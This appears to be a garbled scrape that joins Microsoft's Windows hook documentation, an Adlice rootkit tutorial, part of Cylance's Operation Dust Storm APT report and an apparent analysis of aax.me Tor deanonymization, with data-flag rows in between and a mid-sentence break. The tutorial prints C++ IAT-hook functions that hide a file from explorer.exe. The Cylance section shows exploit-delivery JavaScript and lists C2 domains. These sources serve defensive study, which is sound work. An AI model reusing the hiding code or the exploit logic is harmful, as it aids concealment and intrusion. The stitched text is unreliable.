because they increase the amount of processing the system must perform for each message. You should install a hook only when necessary, and remove it as soon as possible. \xc2 This section discusses the following: Hook Chains Hook Procedures Hook Types WH_CALLWNDPROC and WH_CALLWNDPROCRET WH_CBT WH_DEBUG WH_FOREGROUNDIDLE WH_GETMESSAGE WH_JOURNALPLAYBACK WH_JOURNALRECORD WH_KEYBOARD_LL WH_KEYBOARD WH_MOUSE_LL WH_MOUSE WH_MSGFILTER and WH_SYSMSGFILTER WH_SHELL Hook Chains The system supports many different types of hooks; each type provides access to a different aspect of its message-handling mechanism. For example, an application can use the WH_MOUSE hook to monitor the message traffic for mouse messages. The system maintains a separate hook chain for each type of hook. A hook chain is a list of pointers to special, application-defined callback functions called hook procedures. When a message occurs that is associated with a particular type of hook, the system passes the message to each hook procedure referenced in the hook chain, one after the other. The action a hook procedure can take depends on the type of hook involved. The hook procedures for some types of hooks can only monitor messages; others can modify messages or stop their progress through the chain, preventing them from reaching the next hook procedure or the destination window. Hook Procedures To take advantage of a particular type of hook, the developer provides a hook procedure and uses the SetWindowsHookEx function to install it into the chain associated with the hook. A hook procedure must have the following syntax: LRESULT CALLBACK HookProc( int nCode, WPARAM wParam, LPARAM lParam ) { // process event ... return CallNextHookEx(NULL, nCode, wParam, lParam); } HookProc is a placeholder for an application-defined name. The nCode parameter is a hook code that the hook procedure uses to determine the action to perform. The value of the hook code depends on the type of the hook; each type has its own characteristic set of hook codes. The values of the wParam and lParam parameters depend on the hook code, but they typically contain information about a message that was sent or posted. The SetWindowsHookEx function always installs a hook procedure at the beginning of a hook chain. When an event occurs that is monitored by a particular type of hook, the system calls the procedure at the beginning of the hook chain associated with the hook. Each hook procedure in the chain determines whether to pass the event to the next procedure. A hook procedure passes an event to the next procedure by calling the CallNextHookEx function. Note that the hook procedures for some types of hooks can only monitor messages. the system passes messages to each hook procedure, regardless of whether a particular procedure calls CallNextHookEx. A global hook monitors messages for all threads in the same desktop as the calling thread. A thread-specific hook monitors messages for only an individual thread. A global hook procedure can be called in the context of any application in the same desktop as the calling thread, so the procedure must be in a separate DLL module. A thread-specific hook procedure is called only in the context of the associated thread. If an application installs a hook procedure for one of its own threads, the hook procedure can be in either the same module as the rest of the application's code or in a DLL. If the application installs a hook procedure for a thread of a different application, the procedure must be in a DLL. For information, see Dynamic-Link Libraries. Note You should use global hooks only for debugging purposes; otherwise, you should avoid them. Global hooks hurt system performance and cause conflicts with other applications that implement the same type of global hook. \xc2 Hook Types Each type of hook enables an application to monitor a different aspect of the system's message-handling mechanism. The following sections describe the available hooks. WH_CALLWNDPROC and WH_CALLWNDPROCRET WH_CBT WH_DEBUG WH_FOREGROUNDIDLE WH_GETMESSAGE WH_JOURNALPLAYBACK WH_JOURNALRECORD WH_KEYBOARD_LL WH_KEYBOARD WH_MOUSE_LL WH_MOUSE WH_MSGFILTER and WH_SYSMSGFILTER WH_SHELL WH_CALLWNDPROC and WH_CALLWNDPROCRET The WH_CALLWNDPROC and WH_CALLWNDPROCRET hooks enable you to monitor messages sent to window procedures. The system calls a WH_CALLWNDPROC hook procedure before passing the message to the receiving window procedure, and calls the WH_CALLWNDPROCRET hook procedure after the window procedure has processed the message. The WH_CALLWNDPROCRET hook passes a pointer to a CWPRETSTRUCT structure to the hook procedure. The structure contains the return value from the window procedure that processed the message, as well as the message parameters associated with the message. Subclassing the window does not work for messages set between processes. For more information, see the CallWndProc and CallWndRetProc callback functions. WH_CBT The system calls a WH_CBT hook procedure before activating, creating, destroying, minimizing, maximizing, moving, or sizing a window; before completing a system command; before removing a mouse or keyboard event from the system message queue; before setting the input focus; or before synchronizing with the system message queue. The value the hook procedure returns determines whether the system allows or prevents one of these operations. The WH_CBT hook is intended primarily for computer-based training (CBT) applications. For more information, see the CBTProc callback function. For information, see WinEvents. WH_DEBUG The system calls a WH_DEBUG hook procedure before calling hook procedures associated with any other hook in the system. You can use this hook to determine whether to allow the system to call hook procedures associated with other types of hooks. For more information, see the DebugProc callback function. WH_FOREGROUNDIDLE The WH_FOREGROUNDIDLE hook enables you to perform low priority tasks during times when its foreground thread is idle. The system calls a WH_FOREGROUNDIDLE hook procedure when the application's foreground thread is about to become idle. For more information, see the ForegroundIdleProc callback function. WH_GETMESSAGE The WH_GETMESSAGE hook enables an application to monitor messages about to be returned by the GetMessage or PeekMessage function. You can use the WH_GETMESSAGE hook to monitor mouse and keyboard input and other messages posted to the message queue. For more information, see the GetMsgProc callback function. WH_JOURNALPLAYBACK The WH_JOURNALPLAYBACK hook enables an application to insert messages into the system message queue. You can use this hook to play back a series of mouse and keyboard events recorded earlier by using WH_JOURNALRECORD. Regular mouse and keyboard input is disabled as long as a WH_JOURNALPLAYBACK hook is installed. A WH_JOURNALPLAYBACK hook is a global hook\xe2\x80\x94it cannot be used as a thread-specific hook. The WH_JOURNALPLAYBACK hook returns a time-out value. This value tells the system how many milliseconds to wait before processing the current message from the playback hook. This enables the hook to control the timing of the events it plays back. For more information, see the JournalPlaybackProc callback function. WH_JOURNALRECORD The WH_JOURNALRECORD hook enables you to monitor and record input events. Typically, you use this hook to record a sequence of mouse and keyboard events to play back later by using WH_JOURNALPLAYBACK. The WH_JOURNALRECORD hook is a global hook\xe2\x80\x94it cannot be used as a thread-specific hook. For more information, see the JournalRecordProc callback function. WH_KEYBOARD_LL The WH_KEYBOARD_LL hook enables you to monitor keyboard input events about to be posted in a thread input queue. For more information, see the LowLevelKeyboardProc callback function. WH_KEYBOARD The WH_KEYBOARD hook enables an application to monitor message traffic for WM_KEYDOWN and WM_KEYUP messages about to be returned by the GetMessage or PeekMessage function. You can use the WH_KEYBOARD hook to monitor keyboard input posted to a message queue. For more information, see the KeyboardProc callback function. WH_MOUSE_LL The WH_MOUSE_LL hook enables you to monitor mouse input events about to be posted in a thread input queue. For more information, see the LowLevelMouseProc callback function. WH_MOUSE The WH_MOUSE hook enables you to monitor mouse messages about to be returned by the GetMessage or PeekMessage function. You can use the WH_MOUSE hook to monitor mouse input posted to a message queue. For more information, see the MouseProc callback function. WH_MSGFILTER and WH_SYSMSGFILTER The WH_MSGFILTER and WH_SYSMSGFILTER hooks enable you to monitor messages about to be processed by a menu, scroll bar, message box, or dialog box, and to detect when a different window is about to be activated as a result of the user's pressing the ALT+TAB or ALT+ESC key combination. The WH_MSGFILTER hook can only monitor messages passed to a menu, scroll bar, message box, or dialog box created by the application that installed the hook procedure. The WH_SYSMSGFILTER hook monitors such messages for all applications. The WH_MSGFILTER and WH_SYSMSGFILTER hooks enable you to perform message filtering during modal loops that is equivalent to the filtering done in the main message loop. For example, an application often examines a new message in the main loop between the time it retrieves the message from the queue and the time it dispatches the message, performing special processing as appropriate. However, during a modal loop, the system retrieves and dispatches messages without allowing an application the chance to filter the messages in its main message loop. If an application installs a WH_MSGFILTER or WH_SYSMSGFILTER hook procedure, the system calls the procedure during the modal loop. An application can call the WH_MSGFILTER hook directly by calling the CallMsgFilter function. By using this function, the application can use the same code to filter messages during modal loops as it uses in the main message loop. To do so, encapsulate the filtering operations in a WH_MSGFILTER hook procedure and call CallMsgFilter between the calls to the GetMessage and DispatchMessage functions. while (GetMessage(&msg, (HWND) NULL, 0, 0)) { if (!CallMsgFilter(&qmsg, 0)) DispatchMessage(&qmsg); } The last argument of CallMsgFilter is simply passed to the hook procedure; you can enter any value. The hook procedure, by defining a constant such as MSGF_MAINLOOP, can use this value to determine where the procedure was called from. For more information, see the MessageProc and SysMsgProc callback functions. WH_SHELL A shell application can use the WH_SHELL hook to receive important notifications. The system calls a WH_SHELL hook procedure when the shell application is about to be activated and when a top-level window is created or destroyed. Note that custom shell applications do not receive WH_SHELL messages. Therefore, any application that registers itself as the default shell must call the SystemParametersInfo function before it (or any other application) can receive WH_SHELL messages. This function must be called with SPI_SETMINIMIZEDMETRICS and a MINIMIZEDMETRICS structure. Set the iArrange member of this structure to ARW_HIDE. For more information, see the ShellProc callback function. \xc2 \xc2 Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","1","0","0","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Skip to content Facebook Twitter Google+ Search: enEnglish frFran\xc3\xa7ais Adlice Software News Analysis Tutorials Removal Guides Downloads Documentation Forum Company Userland Rootkits: Part 1, IAT hooks You are here:HomeAnalysisUserland Rootkits: Part 1, IAT\xe2\x80\xa6 User Rating 4.5 (14 votes) This is the first part of this series about Userland rootkits, I wanted to write on it and demonstrate how some rootkits do to hide files by using IAT hooks. This post is about a classic trick, known for decades. Malware specialists may know this already, so this is mostly an introduction for whom willing to learn the theory of rootkits, and have a demonstration. Call that beginners if you want \xf0\x9f\x99\x82 Import Address Table (IAT) The IAT table is a pointer table that holds the address in memory (within the DLL that hosts it) for every function needed by a program. Example: Let\xe2\x80\x99s say you write a program able to enumerate files in a folder. You\xe2\x80\x99ll probably need FindFirstFile/FindNextFile, so when you compile it, the compiler will look for address of those functions in kernel32.dll, and add the corresponding entries into your program\xe2\x80\x99s import address table => kernel32.dll (FindFirstFile::0xAAAAAAAA, FindNextFile:0xBBBBBBBB). So when your program will call the functions, it will look into the table and directly jump at the address given by the table. If one is able to rewrite that address in the table (dynamically), it will be able to redirect the execution flow to a function (with same prototype) that will filters the results, and possibly modify them before returning to the caller. IAT patching can be used by malware or legit software to do many things, keylogging, protection, theft of credit cards,\xe2\x80\xa6 Many (in)famous malware are using it, like Zeus trojan, Stuxnet, \xe2\x80\xa6 iattable Practical case: File hider We\xe2\x80\x99ll study how to detour IAT table of a proces to hide a file. Disclaimer: This is not a tutorial to make a rootkit, but a practical case for educational purpose only. Anyway, this is covered for decades on other websites\xe2\x80\xa6 This rootkit is made in 2 steps: 1. Make a DLL responsible for IAT patching, and installing filters (the payload). 2. Make an injector, that will create a new thread (in a target process) for the DLL entrypoint (not covered here). Injection of the DLL into explorer.exe Injection of the DLL into explorer.exe I\xe2\x80\x99ll not show you the entire code, and especially how to inject the DLL and patch the table. I\xe2\x80\x99ll just write the hooking filter function. We want to intercept directory enumeration, so we will hook the functions FindFirstFile/FindNextFile. As we want this to be spectacular (!) we will hook into explorer.exe, because this is the process responsible for showing folders content to the user. C++ HANDLE WINAPI MyFindFirstFileW(LPCTSTR lpFileName, LPWIN32_FIND_DATA lpFindFileData ) { HANDLE ret = FindFirstFileW(lpFileName,lpFindFileData); TCHAR msg[MAX_PATH]; swprintf_s(msg, L""FindFirstFileW : %s\\n"", lpFindFileData->cFileName); OutputDebugString( msg ); if(!_wcsicmp(lpFindFileData->cFileName, L""_root_"")) { swprintf_s(msg, L""Protected file : %s, hiding...\\n"", lpFindFileData->cFileName); OutputDebugString( msg ); FindNextFileW(ret,lpFindFileData); } return ret; } BOOL WINAPI MyFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATA lpFindFileData) { TCHAR msg[MAX_PATH]; if(FindNextFileW(hFindFile,lpFindFileData)) { if(!_wcsicmp(lpFindFileData->cFileName, L""_root_"")) { swprintf_s(msg, L""Protected file : %s, hiding...\\n"", lpFindFileData->cFileName); OutputDebugString( msg ); if(FindNextFileW(hFindFile,lpFindFileData)) return 1; return 0; } swprintf_s(msg, L""FindNextFileW : %s\\n"", lpFindFileData->cFileName); OutputDebugString( msg ); return 1; } return 0; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 HANDLE WINAPI MyFindFirstFileW(LPCTSTR lpFileName, LPWIN32_FIND_DATA lpFindFileData ) { HANDLE ret = FindFirstFileW(lpFileName,lpFindFileData); TCHAR msg[MAX_PATH]; swprintf_s(msg, L""FindFirstFileW : %s\\n"", lpFindFileData->cFileName); OutputDebugString( msg ); if(!_wcsicmp(lpFindFileData->cFileName, L""_root_"")) { swprintf_s(msg, L""Protected file : %s, hiding...\\n"", lpFindFileData->cFileName); OutputDebugString( msg ); FindNextFileW(ret,lpFindFileData); } return ret; } BOOL WINAPI MyFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATA lpFindFileData) { TCHAR msg[MAX_PATH]; if(FindNextFileW(hFindFile,lpFindFileData)) { if(!_wcsicmp(lpFindFileData->cFileName, L""_root_"")) { swprintf_s(msg, L""Protected file : %s, hiding...\\n"", lpFindFileData->cFileName); OutputDebugString( msg ); if(FindNextFileW(hFindFile,lpFindFileData)) return 1; return 0; } swprintf_s(msg, L""FindNextFileW : %s\\n"", lpFindFileData->cFileName); OutputDebugString( msg ); return 1; } return 0; } The code is self explaining. We filter calls to FindFirstFile/FindNextFile, and we compare the file names to a hard coded string. If there\xe2\x80\x99s a match, we hide that entry by calling the API another time (we simply \xe2\x80\x9cjump\xe2\x80\x9d over the entry). As a result, the file will not be seen by the user. Debug output of the rootkit, showing hidden file Debug output of the rootkit, showing hidden file A demo of the rootkit is available here: [youtube id=\xe2\x80\x9dvVFHYD0ImMY\xe2\x80\x9d width=\xe2\x80\x9d100%\xe2\x80\x9d height=\xe2\x80\x9d400\xe2\x80\xb3 position=\xe2\x80\x9dleft\xe2\x80\x9d] Detection/Removal To detect IAT hooks, simply parse the PE structure of all modules of the targeted process. Then look at the import tables, and check if their addresses are inside the owning module. To remove a IAT hook, you can look at the EAT (Export Address Table) of the original module, and restore the IAT address with the entry of the EAT. Useful links \xe2\x80\x93 An In-Depth Look into the Win32 Portable Executable File. \xe2\x80\x93 Iczelion Tutorial 6: Import Table Category: Analysis, Tutorial By tigzy October 15, 2014 13372 views Tags: analysis anti-rootkit antivirus hook iat injection patch payload research rootkit userland Share this post Share with Facebook Share with Twitter Share with Google+ Share with Pinterest Share with LinkedIn Author: tigzy Founder and owner of Adlice Software, Tigzy started as lead developer on the popular Anti-malware called RogueKiller. Involved in all the Adlice projects as lead developer, Tigzy is also doing research and reverse engineering as well as writing blog posts. Post navigation PREVIOUS Previous post: Remove Zeus (Guide) NEXT Next post: Remove Poweliks (Guide) Related Posts KMS Activators, are they Malware? February 28, 2018 Darknet : Explained November 16, 2017 Hacker\xe2\x80\x99s favorite tool: Mimikatz October 27, 2017 CCleaner Delivers Floxif Malware September 18, 2017 What is Code Signing? June 12, 2017 Catch malware with your own Honeypot (V2) May 24, 2017 Copyright @ 2010 - 2019 Adlice Software - All Rights Reserved Go to Top This site uses cookies: Find out more. Okay, thanks","1","0","0","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Operation Dust Storm 1OPERATION DUST STORM D U S T S T O R M By Jon Gross and the Cylance SPEAR\xe2\x84\xa2 Team O P E R A T I O N \xe7 \x82 \xe5\xb5\x90 \xe5\xa4\xa7 \xe4\xbd\x9c \xe6\x88\xa6D U S T \xe7 \x82 \xe5\xb5\x90 \xe5\xa4\xa7 \xe4\xbd\x9c \xe6\x88\xa6D U S T S T O R M \xe7 \x82\xe5\xb5\x90 \xe5\xa4\xa7 \xe4\xbd\x9c \xe6\x88\xa6 S T O R M D U S T S T O R M D U S T \xe7 \x82 \xe5\xb5\x90 \xe5\xa4\xa7 \xe4\xbd\x9c \xe6\x88\xa6D U S T S T O R M D U S T O P E R A T I O N \xe7 \x82 \xe5\xb5\x90 \xe5\xa4\xa7 \xe4\xbd\x9c \xe6\x88\xa6 O P E R A T I O N \xe7 \x82 \xe5\xb5\x90 \xe5\xa4\xa7 \xe4\xbd\x9c \xe2\x80\x9cNothing strengthens authority so much as 1 During analysis of older command and control infrastructure, there were several domains that resolved to known malicious IP addresses in September 2009. However, SPEAR was not able to corroborate these dates in any known malware samples. silence.\xe2\x80\x9d TA B LE O F C O N TE N TS EXECUTIVE SUMMARY Cylance SPEAR has uncovered a long-standing persistent threat targeting numerous major industries spread across Japan, South Korea, the United States, Europe, and several other Southeast Asian countries. Power comes in many forms Our research indicates Operation Dust Storm has been operational since at least early 2010, and has employed a number of different operational techniques, including spear phishing, waterholes, and zero-day exploits over time. Several antivirus companies initially detected early backdoor samples under the moniker Misdat, but the group has quietly evolved over the years to remain undetected and highly effective. Attack telemetry in 2015 indicates the Dust Storm group has migrated from more traditional government and defense-related intelligence targets to exclusively seek out organizations involved in Japanese critical infrastructure and resources. The group recently compromised a wide breadth of victims across the following industry verticals: electricity generation, oil and natural gas, finance, transportation, and construction. SPEAR\xe2\x80\x99s current research indicates the group\xe2\x80\x99s present focus has shifted to specifically and exclusively target Japanese companies or Japanese subdivisions of larger foreign organizations. The Early Days: Spear Phishing The earliest indications of the group\xe2\x80\x99s activities stem from the compile times of the executable resource section of Misdat samples. All of the early backdoor samples were compiled using a version of Delphi which notoriously mangles the compilation timestamp of the file to June 19, 1992 22:22:17 UTC. By using the executable resource section timestamp, SPEAR was able to more accurately gauge the actual compile times of these samples, and traced one of them, ""bc3b36474c24edca4f063161b25bfe0c90b378b9c19c\xe2\x80\x9d, to January 20101. 1OPERATION DUST STORM 01 Executive Summary 01 The Early Days: Spear Phishing 03 Identity Crisis: Zero-Day Attacks 04 Into the Future: Japanese Targets 05 Here and Now: Companies Compromised 06 Conclusion 07 Implant Analysis: 07 Misdat Backdoor (2010-2011) 10 MiS-Type Hybrid Backdoor (2012) 13 S-Type Backdoor (2013-2014) 16 Zlib Backdoor (2014-2015) 21 Appendix -Leonardo da Vinci 2 OPERATION DUST STORM 3OPERATION DUST STORM 2 The Symantec article incorrectly states that the Gh0st RAT protocol utilizes SSL, when in fact, it uses Zlib compression. Very little public information was available throughout 2010 on this threat, despite the group\xe2\x80\x99s primary backdoor gaining some level of prominence in targeted Asian attacks. This may be explained by the group\xe2\x80\x99s early reliance on Dynamic DNS domains for their command and control (C2) infrastructure, as well as their use of public RATs like Poison Ivy and Gh0st RAT for second-stage implants. The actors relied heavily on the free Dynamic DNS providers No-IP (http://www.noip.com), Oray (http:// www.oray.com/) and 3322 (http://www.pubyun.com/) for their infrastructure continuing into 2011; the earliest known backdoors SPEAR identified communicated to \xe2\x80\x9c323332.3322.org\xe2\x80\x9d and \xe2\x80\x9c1stone.zapto.org\xe2\x80\x9d. It wasn\xe2\x80\x99t until June 2011 that Operation Dust Storm started to garner some notoriety from a series of attacks which leveraged an unpatched Internet Explorer 8 vulnerability, CVE-2011-1255, to gain a foothold into victim networks. In these attacks, a link to the exploit was sent via a spear phishing email from a purported Chinese student seeking advice or asking the target a question following a presentation. Media coverage of these attacks included \xe2\x80\x9chttp://www.symantec.com/connect/ blogs/inside-back-door-attack\xe2\x80\x9d , 2 and \xe2\x80\x9chttp://asec.ahnlab. com/730\xe2\x80\x9d which named the early backdoor variants \xe2\x80\x9cMisdat\xe2\x80\x9d. The secondary C2 server from Symantec\xe2\x80\x99s writeup was mentioned in news reports elsewhere as \xe2\x80\x9choneywells.tk\xe2\x80\x9d; this domain resolved to \xe2\x80\x9c111.1.1.66\xe2\x80\x9d during early June 2011. This address is coincidentally the same IP address that one of the earliest Misdat samples that SPEAR identified beaconed to during the same timeframe. A paper published in August 2011 by Ned Moran via Usenix (https://www.usenix.org/system/files/login/articles/ 105484-Moran.pdf) described in detail an attack by this threat group during April 2011. The attack was initiated by a spear phishing email that contained a Word document embedded with a zero-day Flash exploit (CVE-2011-0611). The final payload described in the report matched other confirmed Misdat samples, and beaconed to \xe2\x80\x9cmsejake.7766. org\xe2\x80\x9d, which first resolved to \xe2\x80\x9c125.46.42.221\xe2\x80\x9d, then later to \xe2\x80\x9c218.106.246.220\xe2\x80\x9d at the time of the attack. As to other documented cases, the attacker started interacting with the infected machine within minutes of compromise to begin manual network and host enumeration. In October 2011, the group attempted to take advantage of the ongoing Libyan crisis at the time and phish the news cycle regarding Muammar Gaddafi\xe2\x80\x99s death on October 20, 2011. It appears that in addition to some US defense targets, this campaign was also directed at a Uyghur mailing list. This time, the group used a specially crafted malicious Windows Help (.hlp) file, which exploited CVE- 2010-1885. The hlp files, when opened, would execute a piece of JavaScript code via \xe2\x80\x9cmshta.exe\xe2\x80\x9d, which in turn launched a second piece of Visual Basic Script using the Windows scripting host. This secondary piece of VBS code was then responsible for decoding the payload from the body of the hlp file and executing it. The first stage payloads used in these attacks were Misdat variants stored base64 encoded within the hlp file. The samples SPEAR identified both communicated to the domain \xe2\x80\x9cmsevpn.3322.org\xe2\x80\x9d, which resolved to the IP address \xe2\x80\x9c218.106.246.195\xe2\x80\x9d at that time. Pivoting off of this IP address yielded several additional dynamic DNS domains that were used for command and control, as well as several standard domains that were used by the group from May 2010 up until December 2015. Registration Email Address Domain Name Date First Registered wkymyx (at) 126.com amazonwikis.com April 21, 2010 wkymyx (at) 126.com sfcorporation.com May 5, 2010 wkymyx (at) 126.com adobeus.com June 8, 2011 duomanmvp (at) 126.com adobekr.com May 30, 2010 duomanmvp (at) 126.com moviestops.com June 7, 2011 duomanmvp (at) 126.com moviestops.com December 17, 2012 Figure 1: Domain Registrations for 2010-2011 Early infrastructure for the 2010-2011 timeframe used by the group relied heavily on two email addresses, ""wkymyx (at) 126.com\xe2\x80\x9d and \xe2\x80\x9cduomanmvp (at) 126.com\xe2\x80\x9d, for domain registration. The attackers typically used either seemingly random four-character subdomains or common words like image, blog, ssl, pic, mail, news, etc. There was also evidence to suggest this group attempted to gather user credentials for Yahoo, Windows Live and other accounts through several different phishing domains during July and August 2011. While SPEAR was unable to recover the original pages served, the domains these pages were hosted on are: \xe2\x80\x9clogin.live.adobekr.com\xe2\x80\x9d, \xe2\x80\x9clogin.live.wih365.com\xe2\x80\x9d, and \xe2\x80\x9cyahoomail.adobeus.com\xe2\x80\x9d. Individual IP address resolutions for each of the domains were generally short- lived, with none of them lasting more than a month. Identity Crisis: Zero-Day Attacks SPEAR identified another Operation Dust Storm campaign in June 2012 that leveraged both CVE-2011-0611, a Flash exploit the group had used previously, and CVE- 2012-1889, an Internet Explorer zero-day. The attackers used the domain \xe2\x80\x9cmail.glkjcorp.com\xe2\x80\x9d to deliver the exploits, and the domain was hosted on the IP address \xe2\x80\x9c114.108.150.38\xe2\x80\x9d at the time of the attack. SPEAR was unable to definitively tie this particular exploit site to a watering hole or phishing campaign, however, numerous other CN-APT operators leveraged the Internet Explorer zero-day during the same period using both techniques. The exploit domain \xe2\x80\x9cglkjcorp.com\xe2\x80\x9d was registered shortly before the attack on May 24, 2012. Two different emails were used in the registration of this domain: \xe2\x80\x9ceffort09 (at) hotmail.com\xe2\x80\x9d and \xe2\x80\x9czaizhong16 (at) 126.com\xe2\x80\x9d. This attack was the first to use the file \xe2\x80\x9cDeployJava. js\xe2\x80\x9d to fingerprint installed software on victim systems prior to delivery and ensure a known effective exploit was deployed. This JavaScript file was first used and documented by Ahnlab a month earlier in the Gong Da Exploit Kit: http://www.ahnlab.com/kr/site/ securityinfo/secunews/secuNewsView.do?menu_ dist=2&seq=19418. The \xe2\x80\x9cDeployJava.js\xe2\x80\x9d worked in conjunction with another script embedded in the exploit page, to deliver the Flash exploit if the version of IE was 8 or 9 or deliver the IE zero-day if the version of IE was 6 or 7. if (((i9> -1) ||(i8> -1))&&w7>-1&&ja){ flash.Movie = vars; } else if((i8>-1)&&(xp>-1)){ flash.Movie = vars; } else if((i6>-1||i7>-1)&&(xp>-1)){ document.body.innerHTML+=\xe2\x80\x9d<\\/ob- ject>\xe2\x80\x9d; setTimeout(\xe2\x80\x9cdocument.body.innerHTML+=\\\xe2\x80\x9d



Loading the website:
http://www.aljazeera.com/indepth/opinion/2015/11/british-pm-middle-east-human-rights-151103070038237.html.
This may take a few seconds.
The page is apparently designed to redirect to an Al Jazeera op-ed after twenty seconds.19 However, the URL is incorrect: the last character of the filename should be a \xe2\x80\x9c1\xe2\x80\x9d instead of a \xe2\x80\x9c7\xe2\x80\x9d. Therefore, an Al Jazeera 404 page is returned instead of the op-ed. It is possible that the use of \xe2\x80\x9c7\xe2\x80\x9d instead of \xe2\x80\x9c1\xe2\x80\x9d represents a transcription error on the part of the operators. When we accessed this same aax.me URL in March 2016, it redirected directly to the Al Jazeera URL (with typo) via an HTTP 302 redirect. The iframe, http://aax.me/redirect.php, reloads itself with a parameter \xe2\x80\x9cinFr\xe2\x80\x9d in its query string, to indicate whether the page has been opened up inside a frame. If the page has not been opened up inside a frame (inFr=0), then a blank page is returned. If the page is opened inside a frame (inFr=1), as is the case here, then the following page is returned (we ommitted the PHPSESSID value):
We examined the referenced JavaScript file, http://aax.me/redirect.js. The file is designed to profile a user\xe2\x80\x99s system, perhaps to gather intelligence about potentially exploitable vulnerabilities. The file has apparently not been updated since 7 May 2013,20 rendering some of the probing obsolete. We enclose the file\xe2\x80\x99s full contents in Appendix C: JavaScript Profiling File. The profiling performs the following actions: For Internet Explorer, it attempts to create several instances of ActiveXObject to get the versions of Flash, Shockwave, Java, RealPlayer, Windows Media Player, and Microsoft Office (classified as either 2003, 2007, or 2010). For non-Internet Explorer browsers, it attempts to get a list of enabled plugins from navigator.mimeTypes. For all browsers, it captures the user agent, whether cookies are enabled, the OS, the size of the browser window, and the timezone. It classifies browsers into different versions, denoted by letters, based on the existence and behavior of certain JavaScript methods. The script attempts to exploit an information leak in older versions of Tor Browser. We explore the technique used in Section 3.5. For Windows browsers (except Opera, and versions of Internet Explorer before IE9), it sends a series of XMLHttpRequests to 127.0.0.1, which we believe are designed to deduce if the computer is running any one of several specific antivirus programs. The code for this appears to be borrowed from the JS-Recon port scanning tool.21 The creator of JS-Recon presented the tool at BlackHat Abu Dhabi in 2010.22 We explore such techniques in more detail in Section 3.6. We were unfamiliar with the website aax.me, so we investigated it further. We found that the main page of aax.me purported to be a public URL shortening service, powered by YOURLS,23 an open source PHP framework allowing anyone to set up their own URL shortening service. We are unable to ascertain whether the site actually uses any YOURLS code. We also noted that the homepage contains a typo (\xe2\x80\x9cShortend [sic] URL\xe2\x80\x9d). image12 Figure 6: Homepage of aax.me We shortened a URL using the homepage, but found that clicking on the shortened URL did not trigger the loading of the intermediate page, http://aax.me/redirect.php. We also did not find the code for redirect.php or redirect.js in the public code repository for YOURLS.24 Thus, we deduced that this code was likely specially written by the operators, and the link sent to Donaghy was likely created by someone with administrator access to aax.me. 3.5. Technical Analysis: aax.me Tor Deanonymization Attempt The aax.me site appears to attempt to deanonymize users of Tor Browser. While the technique the operators used was out-of-date at the time we observed the attack, the attempted Tor deanonymization speaks to their motivations and potential targets. The script first detects Tor Browsers by checking whether navigator.buildID is set to zero (all testing was conducted on English, Windows builds of Tor Browser). Versions of Tor Browser before 2.3.25-12 (released on 13 August 2013) had their buildID set to zero. This behavior was originally introduced in TorButton,25 in support of the goal of making Tor users appear homogenous.26 Current Tor Browser versions have navigator.buildID set to a different distinctive value, 20000101000000. When the script detects a Tor Browser, it attempts to deduce the version of Tor Browser by checking for the existence and behavior of certain JavaScript methods. Once a browser is determined to be older than a certain version of Tor Browser, the script exploits a now-fixed bug to get the disk path of the browser installation.27 The disk path may contain the target\xe2\x80\x99s username, which may include the target\xe2\x80\x99s real name. The bug in Tor Browser was first disclosed at Defcon 17, which took place in August 2009.28 The bug was first fixed on on 25 May 2012 in Tor Browser release 2.2.35-13.29 The bug was, however, later reintroduced into Tor Browser on 18 December 2013 with the release of Tor Browser 3.5, and subsequently fixed again in Tor Browser 3.6 on 29 April 2014.30 However, unfortunately for the operators, they failed to update their profiling script to reflect Tor Browser\xe2\x80\x99s navigator.buildID change (before the bug was reintroduced). Thus, the profiling script did not detect Tor Browsers with the reintroduced bug as Tor Browsers, so it did not try to exploit them. Even if it had been updated to reflect the navigator.buildID change, the version check in the Tor Browser exploitation code would also have to be updated to select the versions with the reintroduced bug for exploitation. The version of Tor Browser (as determined by JavaScript checks) is submitted back to the server, along with the value of navigator.oscpu (which reveals the version of the OS on which Tor Browser is running \xe2\x80\x94 e.g., the latest version of Tor Browser on OSX El Capitan reveals: \xe2\x80\x9cIntel Mac OS X 10.11\xe2\x80\x9d) which is set to \xe2\x80\x9cWindows NT 6.1\xe2\x80\x9d in the latest Tor browser, navigator.vendor (which appears blank in the latest Tor Browser), and any data gathered about the installation path. 3.6. Technical Analysis: aax.me Antivirus Profiling 